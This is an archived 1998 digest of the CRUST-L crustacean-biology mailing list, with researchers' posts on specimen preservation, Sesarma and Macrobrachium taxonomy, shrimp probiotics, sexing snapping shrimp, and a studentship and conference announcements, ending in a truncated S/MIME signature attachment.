Science Institute, National University of Ireland, Galway, Galway, Ireland. Tel: +353 91 524411 Fax: +353 91 525005 E mail: Adrian.Linnane@UCG.ie =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jan Factor Date: Thu, 02 Apr 1998 11:38:52 -0500 Subject: Re: CRUST-L: Reference - --------------FFBE0021B04A2E57AA371BCE Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The book contain 375 pages. --Jan Factor, 4/2/98 Marcelo A. A. Pinheiro wrote: > Please, I would like to known the correct number of pages of the book > bellow.HARTNOLL, R.G. & GOULD, P. 1988. Brachyuran life history > strategies and the optimization of egg production, 1-9. In: Fincham, > A.A. & Rainbow, P.S. (ed.). Aspects of Decapod Crustacean Biology. > Clarendon Press, Oxford, ????? p.Anyone can send to me? > Thanks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Prof. Dr. Marcelo Antonio Amaro Pinheiro > FCAV - UNESP Campus de Jaboticabal > Depto. de Biologia Aplicada > Rod. Carlos Tonanni, km 5 - CEP 14.870-000 > Jaboticabal (SP) - Brasil > Fone: +55 16 3232500 (Ramal 230) > Fax: +55 16 3224275 > e-mail: pinheiro@fcav.unesp.br > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > - --------------FFBE0021B04A2E57AA371BCE Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit The book contain 375 pages. --Jan Factor, 4/2/98

    Marcelo A. A. Pinheiro wrote:

     Please, I would like to known the correct number of pages of the book bellow.HARTNOLL, R.G. & GOULD, P. 1988. Brachyuran life history strategies and the optimization of egg production, 1-9. In: Fincham, A.A. & Rainbow, P.S. (ed.). Aspects of Decapod Crustacean Biology. Clarendon Press, Oxford, ????? p.Anyone can send to me? Thanks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Prof. Dr. Marcelo Antonio Amaro Pinheiro
    FCAV - UNESP Campus de Jaboticabal
    Depto. de Biologia Aplicada
    Rod. Carlos Tonanni, km 5 - CEP 14.870-000
    Jaboticabal (SP) - Brasil
    Fone: +55 16 3232500 (Ramal 230)
    Fax: +55 16 3224275
    e-mail: pinheiro@fcav.unesp.br
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
      - --------------FFBE0021B04A2E57AA371BCE-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Thu, 2 Apr 1998 11:43:30 -0600 Subject: CRUST-L: preservation Note: if crusties (or any arthropod) are preserved in EtOH, add 5% glycerine to the mix. This helps keep the beasts flexible, and if the alcohol evaporates-which will happen eventually, unless very good lids are used-the glycerin coats them and prevents the horrors of dried out crustaceans. Phil >The best way to preserve the coloration patterns in crustacea is by >taking a color photo! Then, preserve your specimens in at least 70% EtOH. >This way they have a much greater utility for future research. Once >specimens are preserved in formalin, they become useless for DNA extraction. >Additionally, after some time, the exoskeleton becomes very brittle so >the specimens loose value for morphological analyses as well. A photo >can become a perminant record of coloration pattern to be tied to a >specific specimen. While I realise from personal experience that it is >not convenient to carry around a camera and associated photo equipment, >the results are well worth the effort. > >cheers, > >Keith Crandall }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Carol Haley" Date: Thu, 2 Apr 98 12:35:54 -0500 Subject: CRUST-L: Hormones Does anyone have any data on negative impacts of mammalian hormones on crustaceans? ************************************************************************* The opinions and information in this message are those of the author and do not necessarily reflect the views and policies of the U.S. Food and Drug Administration. Because of the nature of electronically transferred information, the integrity or security of this message cannot be guaranteed. ************************************************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: cds5356@USL.EDU (Christoph Schubart) Date: Thu, 2 Apr 1998 14:26:12 -0600 Subject: Re: CRUST-L: Sesarma curacoense in Brazil?? Dear Volker and colleagues (especially Brazilian ones), I am sure your identifications is correct, Volker. Sesarma curacaoense does distribute into Brazil. For instance, the USNM has a S. curacaoense female from Mapele (Bahia) collected by R. Rathbun. There has been some confusion regarding material of this species and S. crassipes from Brazil. The type material of S. crassipes Cano 1889 is reported to be from Brazil (Pernambuco). However, it was lost and later findings from this species in Brazil (Coelho & Ramos 1972, 1981) turned out to be S. curacaoense (e.g. figured material in Coelho y Ramos-Porto, 1981; see also Abele, 1992). While S. curacaoense is a widely distributed species with a range from southern Florida through the Caribbean, Venezuela, Guianas (and into Brazi), S. crassipes is only known from Brazil (?) and the Caribbean coast of Costa Rica, where I had the chance of collecting it in 1996. I tend to believe that S. curacaoense is the second Sesarma species occurring in Brazil next to S. rectum and told so Gustavo Melo in Brazil. However, most of the museum material in Brazil still seems to be labeled as S. crassipes. Recently at COLACMAR (a meeting of marine biologists celebrated in Santos, Brasil, 1997) Ariadne PRADO from Universidade Estadual Paulista Campus de Rio Claro gave a presentation on: A OCURRENCIA DE SESARMA CURACAOENSE DE MAN, 1892 (CRUSTACEA: BRACHURA: GRAPSIDAE) NO NORDESTE DO BRASIL. There she states that all specimens from most Brazilian collections only consisted of one species, S. curacaoense, expanding the distribution of this species to Espiritu Santo. I don't know if she's following up this investigation (she did not respond to my mail). In any case, I would like to ask all Brazilian colleagues who think they have Sesarma crassipes in their collections or study sites to give those animals a careful look, compare them with Abele 1992 (Smithson. Contrib. Zool.) or send them to me for verification. I have been trying without success to obtain "good" S. crassipes from Brazil and would really like to confirm its presence or absence. Thank you, Christoph ___________ Dr. Christoph Schubart Department of Biology and Laboratory for Crustacean Research University of Southwestern Louisiana Lafayette, Louisiana 70504-2451; USA tel. (318)4825304 / 4825403 fax (318)4825834 e-mail: cds5356@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #132 ***************************** From owner-crust-l Mon Apr 6 17:11:01 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id RAA16018 for crust-l-digest-outgoing; Mon, 6 Apr 1998 17:03:47 -0400 Date: Mon, 6 Apr 1998 17:03:47 -0400 Message-Id: <199804062103.RAA16018@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #133 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 7 crust-l-digest Monday, 6 April 1998 Volume 01 : Number 133 CRUST-L: probiotic information help Re: CRUST-L: preservation CRUST-L: Research Studentship CRUST-L: ICC-4 Re: CRUST-L: preservation CRUST-L: REQ:Any journal titles site on the web? CRUST-L: Re: probiotic information help CRUST-L: Snapping shrimp Re: CRUST-L: Snapping shrimp CRUST-L: The fry of all species in the genus Magrobrachium CRUST-L: Genus Caridina Re: CRUST-L: The fry of all species in the genus Magrobrachium CRUST-L: Identifying Caridinas? CRUST-L: Caridina CRUST-L: Bounced messages CRUST-L: FREE PAGES for announce your congress or course ---------------------------------------------------------------------- From: "Gabriel Aguirre [BE]" Date: Thu, 2 Apr 1998 18:47:05 -0700 (MST) Subject: CRUST-L: probiotic information help Hi list people We appreciate any information and recomendation about probiotic use in shrimp or fish. We work with probiotic supply (microalgy, artemia or pellet) and like disease control in Penaeus vannamei larvae for our master degree thesis. We appreciate any information about commertial probiotic used in aquatic organims. For any information contact us in this e-mail address Thanks Gerardo Garcia and Laura Martinez (master degree student) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Koen Martens Date: Fri, 03 Apr 1998 09:43:18 +0200 Subject: Re: CRUST-L: preservation Please note that Phil's suggestion does not apply to animals with calcified carapaces, such as ostracods. Adding glycerine to formaline or EtOH will make the liquid acid, and will cause rapid decalcification of valves. When preserving ostracods in formalin, always neutralize with sodium (bi) carbonate, in EtOH with borax. cheers koen martens At 11:43 2/04/98 -0600, you wrote: >Note: if crusties (or any arthropod) are preserved in EtOH, add 5% >glycerine to the mix. This helps keep the beasts flexible, and if the >alcohol evaporates-which will happen eventually, unless very good lids are >used-the glycerin coats them and prevents the horrors of dried out >crustaceans. > >Phil > ****************************************** Dr Koen Martens Royal Belgian Institute of Natural Sciences Freshwater Biology Vautierstraat 29 1000 Brussels tel: +32-2-62 74 315 fax +32-2-64 64 433 email: martens@kbinirsnb.be =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "A.C. Taylor" Date: Fri, 03 Apr 1998 10:30:20 +0100 Subject: CRUST-L: Research Studentship N.E.R.C. Research Studentship available:- Title: Sublethal effects of sulphide exposure in marine Crustacea. Supervisor Dr. A.C. Taylor, Institute of Biomedical & Life Sciences, Graham Kerr Building, University of Glasgow, Glasgow G12 8QQ. A research studentship is available in the above topic from 1st October 1998. Full details of the project can be found at the Graduate School web site (http://www.ibls.gla.ac.uk/IBLS/Gradschool/GradStudentships.html). To meet the research council eligibility criteria, applicants must be from the U.K. or another EU country. Unfortuinately, students from non-EU countries are not eligible for these awards. In the case of students from the EU, the research council will pay the costs of the university fees only, no provision is made for living costs. Applications should be sent as soon as possible to the above address and should include a full c.v. and the names of two academic referees. Dr. A.C. Taylor, Division of Environmental & Evolutionary Biology, Institute of Biomedical & Life Sciences, Graham Kerr Building, University of Glasgow. Glasgow. G12 8QQ Phone: 0141 330 5972 Fax: 0141 330 5971 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: schram@BIO.UVA.NL (Frederick Schram) Date: Fri, 3 Apr 1998 13:46:53 +0100 Subject: CRUST-L: ICC-4 >Date: Fri, 3 Apr 1998 13:43:47 +0100 >To:crust-l@sivm.si.edu >From:schram@bio.uva.nl (Frederick Schram) >Subject:ICC-4 > >ICC-4 Update!!! > >The response to the congress has been overwhelming. Over 500 abstracts >have been submitted. Processing forms and registrations have been >straining our capacities, but all will work out well in the end. > >If you have questions, do not hesitate to contact Amsterdam. HOWEVER, >responses can come much more quickly if you direct your enquiries to the >appropriate persons. > >For specific questions about the scientific program itself, contact CHARLES >FRANSEN at the museum in Leiden. > fransen@nnm.nl > >For questions about registrations and payment, the University of Amsterdam >Congress Bureau is the right source. > HELENA VAN DER STEEGE hsteege@bdu.uva.nl > MAARTEN VAN DER MEER mvdmeer@bdu.uva.nl > >"Met vriendelijke groeten," > >Fred Schram > > >___________________________________________ >Frederick R. Schram >Professor of Systematics and Zoogeography >Institute for Systematics and Population Biology >University of Amsterdam >Post Box 94766 >NL-1090 GT Amsterdam >Netherland > >phone +(31.20)525.6435 >fax +(31.20)525-5402 >e-mail schram@bio.uva.nl > >www.bio.uva.nl/onderzoek/cepa > >also check out: >www.uva.nl/uva/aktueel/congres/crustacean.html >___________________________________________ > ___________________________________________ Frederick R. Schram Professor of Systematics and Zoogeography Institute for Systematics and Population Biology University of Amsterdam Post Box 94766 NL-1090 GT Amsterdam Netherland phone +(31.20)525.6435 fax +(31.20)525-5402 e-mail schram@bio.uva.nl www.bio.uva.nl/onderzoek/cepa also check out: www.uva.nl/uva/aktueel/congres/crustacean.html ___________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Joe Staton Date: Fri, 3 Apr 1998 07:22:27 -0500 Subject: Re: CRUST-L: preservation >Please note that Phil's suggestion does not apply to animals with calcified >carapaces, such as ostracods. Adding glycerine to formaline or EtOH will >make the liquid acid, and will cause rapid decalcification of valves. When >preserving ostracods in formalin, always neutralize with sodium (bi) >carbonate, in EtOH with borax. >cheers >koen martens > > That probably adds to the pliability of the crustacean specimens. But also as a cautionary note, acidic conditions in EtOH will also degrade the DNA over time making the preservation less than idea for the uses that Keith Crandal stated. For that, you can also buffer the EtOH as above or with Tris-EDTA. But, I thought this thread was originally about preserving color for later color morph analysis, not for general preservation techniques! Joe =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carlo Pipitone Date: Fri, 03 Apr 1998 13:57:07 +0200 Subject: CRUST-L: REQ:Any journal titles site on the web? ***Apologies to list members for crossposting*** Is there any website containing some list of scientific periodicals with their abbreviations? Or can anybody give me the complete reference for "Periodical Title Abbreviations" by L.G. Alkire jr., or similar publications? Thanks in advance, Carlo Pipitone ***************************************** Carlo Pipitone - -------- CNR-ITPP Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Thomas Powell Date: Fri, 03 Apr 1998 07:58:04 -0500 Subject: CRUST-L: Re: probiotic information help Gabriel: Following is some information from Thailand and you also might consider getting ahold of Dr. Addison L. Lawrence: smpall@electrotex.com TAES Shrimp Mariculture Project 1300 Port Street Port Aransas, Texas 78373 USA Tel: 512-749-4625 I am also going to forward to you individually more information on BIO 1 & 2, if others on the list are interested - ask and I shall send. Clever area to be working in right now and I would sincerely appreciate it if you would keep me abreast of your findings. Regards, Tom Powell - -- ****************************************************************************************** Thomas D. Powell Florida International Shrimp Harvesters 7002 Grevilla Avenue, South #10 South Pasadena, Florida 33707 (813) 381-5236 381-5246 Fax 529-7364 Pager shrimp@food4u.com topoco@ij.net Web sites: http://www.ij.net/topoco/ http://www.ij.net/topoco/fishforsale.htm http://www.ij.net/topoco/Helicopterpartsforsale.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Diana Barshaw Date: Fri, 03 Apr 1998 16:38:25 -0500 Subject: CRUST-L: Snapping shrimp Hi crusters, It has been a while since I wrote anything here. Anyway one of my students is doing a small project on snapping shrimp. The particular species is: Apheus heterochaelis. She needs to be able to sex these guys and I can't see any difference between any of them. They all look like females to me. Can anyone out there tell me how to sex these guys. Thanks in advance Diana Barshaw Emporia State University Emporia Kansas E-mail barshawd@emporia.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Fri, 3 Apr 1998 16:38:00 -1000 Subject: Re: CRUST-L: Snapping shrimp On Fri, 3 Apr 1998, Diana Barshaw wrote: > She needs to be able to sex these guys and I can't see any difference > between any of them. They all look like females to me. Can anyone out > there tell me how to sex these guys. I don't know the species you are working with, but if you can look at these guys under a dissecting scope, you should be able to tell sexes. The pleopods of shrimp are sexually dimorphic. Male shrimp should have longer, thin pleopods (especially #1 and #2). There is a small appendage on the second pleopod that only males carry, however, it may be too small to see without putting on a compound scope. Perhaps you could observe the molts for this (ask me more if you decide to do this.) Females have broader pleopods that may have eggs. If they are molting regularly, observe females for the presence of eggs right after ecdysis. You may even notice the ovary under the carapace, if exoskeleton is transparent. It will be a green to yellow mass visible on the mid dorsal line. Maybe others will have more specific info on this species. Good luck, Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Sat, 04 Apr 1998 05:25:55 -0500 Subject: CRUST-L: The fry of all species in the genus Magrobrachium Hi again When my M. brasiliense fry hatch out they (200-300 specimens) have an yolk sac and the female is guarding them for their fist stage. I have raised also another M. sp. They originated from Kongo and they (~20 specimens at the time) hatch out at bigger stage with out any yolk sac. Any way, both of these species doesn't have any swimming larval stage. The fry is developped to crawl very soon after hatching. I would like to know if this is a characteristic to this genus? In aquarium markets have been several years some Asian transparent FW shrimps called M. lar. The larvae of these shrimps are swimming. Am I right if I'll say these species could rather belong to the genus Palaemon? Thanks Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Sat, 04 Apr 1998 05:13:21 -0500 Subject: CRUST-L: Genus Caridina Hi guys I would like to know 1. how many described species there is in this genus? - at a rough estimate, how many there will be? 2. do all the larval stages of these species need sea or brackish water? - do C. japonica fry need salt water? Thanks Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Campbell McNamara Date: Sun, 05 Apr 1998 11:29:41 +0000 Subject: Re: CRUST-L: The fry of all species in the genus Magrobrachium This is a cryptographically signed message in MIME format. - --------------ms1879D6E6C6F05778566BBFEC Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Jari, the species of the genus Macorbrachium fall roughly into two groups: hololimnetic , like M. brasiliense, which spawn and spend their entire life cycle in freshwater; and a larger group, like M. rosenbergii, the larvae of which, while frequently ecloding in freshwater, are completely dependent on sea/brackish water for development to the post-larval stage. Generally the few (30/female) embryos of the hololimnetic group have a large yolk reserve, hatch in an advanced stage of development, and are benthonic. The abundant (500+/female) larvae of the brackish water dependent group have very few yolk reserves, and undergo a lengthy free swimming developmental sequence. The genus Macrobrachium falls into the family Palaemonidae, although the species are quite distinct from those of the genus Palaemon. See Holthuis (1952) [Occ. Pap. Allan Hancock Found. Pub., Number 12, USC Press] for a detailed analysis of the family in the Americas. I hope this helps. Regards, John McNamara. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ John Campbell McNamara mailto:jcmcnama@ffclrp.usp.br Biologia, FFCLRP, USP, Ribeirão Preto 14040-901, SP, Brasil Tel +5516-602-3687 FAX +5516-633-3666 http://www.ffclrp.usp.br - --------------ms1879D6E6C6F05778566BBFEC Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIKXwYJKoZIhvcNAQcCoIIKUDCCCkwCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC CM0wggQXMIIDgKADAgECAhBRxJNgquF24igJYxeN4oVIMA0GCSqGSIb3DQEBBAUAMGIxETAP BgNVBAcTCEludGVybmV0MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE0MDIGA1UECxMrVmVy aVNpZ24gQ2xhc3MgMSBDQSAtIEluZGl2aWR1YWwgU3Vic2NyaWJlcjAeFw05ODAzMDIwMDAw MDBaFw05ODA1MDEyMzU5NTlaMIIBEzERMA8GA1UEBxMISW50ZXJuZXQxFzAVBgNVBAoTDlZl cmlTaWduLCBJbmMuMTQwMgYDVQQLEytWZXJpU2lnbiBDbGFzcyAxIENBIC0gSW5kaXZpZHVh bCBTdWJzY3JpYmVyMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvQ1BT IEluY29ycC4gYnkgUmVmLixMSUFCLkxURChjKTk2MSYwJAYDVQQLEx1EaWdpdGFsIElEIENs YXNzIDEgLSBOZXRzY2FwZTEYMBYGA1UEAxMPSm9obiBDIE1jTmFtYXJhMSUwIwYJKoZIhvcN AQkBFhZqY21jbmFtYUBmZmNscnAudXNwLmJyMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKRd iuhbdNY3jslVYHfosvUeNGk9HOZpPX4eXe4Pkmjt/epY++2Tj6cZUzpmIrL95wE0d4+Bh4Ws 92pKVN8azXsCAwEAAaOCAV0wggFZMAkGA1UdEwQCMAAwga8GA1UdIASBpzCAMIAGC2CGSAGG +EUBBwEBMIAwKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9DUFMwYgYI KwYBBQUHAgIwVjAVFg5WZXJpU2lnbiwgSW5jLjADAgEBGj1WZXJpU2lnbidzIENQUyBpbmNv cnAuIGJ5IHJlZmVyZW5jZSBsaWFiLiBsdGQuIChjKTk3IFZlcmlTaWduAAAAAAAAMBEGCWCG SAGG+EIBAQQEAwIHgDCBhgYKYIZIAYb4RQEGAwR4FnZkNDY1MmJkNjNmMjA0NzAyOTI5ODc2 M2M5ZDJmMjc1MDY5YzczNTliZWQxYjA1OWRhNzViYzRiYzk3MDE3NDdkYTVjNGYzMTQxYmVh ZGIzYWM2Zjg4NjE2YjA2MmYxZDYxMTQ5OWRhMmI5NDNmNGU2OTQ2NTQxMA0GCSqGSIb3DQEB BAUAA4GBAHF1DOhVfFOQIfs+BtUh2oLY0bEeoLKEGKRpRzVQ3jpC8ITk+FndwmCsfC45DfRp xsQMRJZ/poRNjT3KUvNbEZfePWTT4MdH2WS66VIm1IROTZEC09aHV4nOspg2cxpSEr6Eluw5 9gDrComAEOHZb7ZnrCgWYUOgFayXGs6RsGLlMIICeTCCAeKgAwIBAgIQUh81HfJwfgArvspZ hwTVOTANBgkqhkiG9w0BAQIFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24s IEluYy4xNzA1BgNVBAsTLkNsYXNzIDEgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBB dXRob3JpdHkwHhcNOTYwNjI3MDAwMDAwWhcNOTkwNjI3MjM1OTU5WjBiMREwDwYDVQQHEwhJ bnRlcm5ldDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNDAyBgNVBAsTK1ZlcmlTaWduIENs YXNzIDEgQ0EgLSBJbmRpdmlkdWFsIFN1YnNjcmliZXIwgZ8wDQYJKoZIhvcNAQEBBQADgY0A MIGJAoGBALYUps9N0AUN2Moj0G+qtCmSY44s+G+W1y6ddksRsTaNV8nD/RzGuv4eCLozypXq 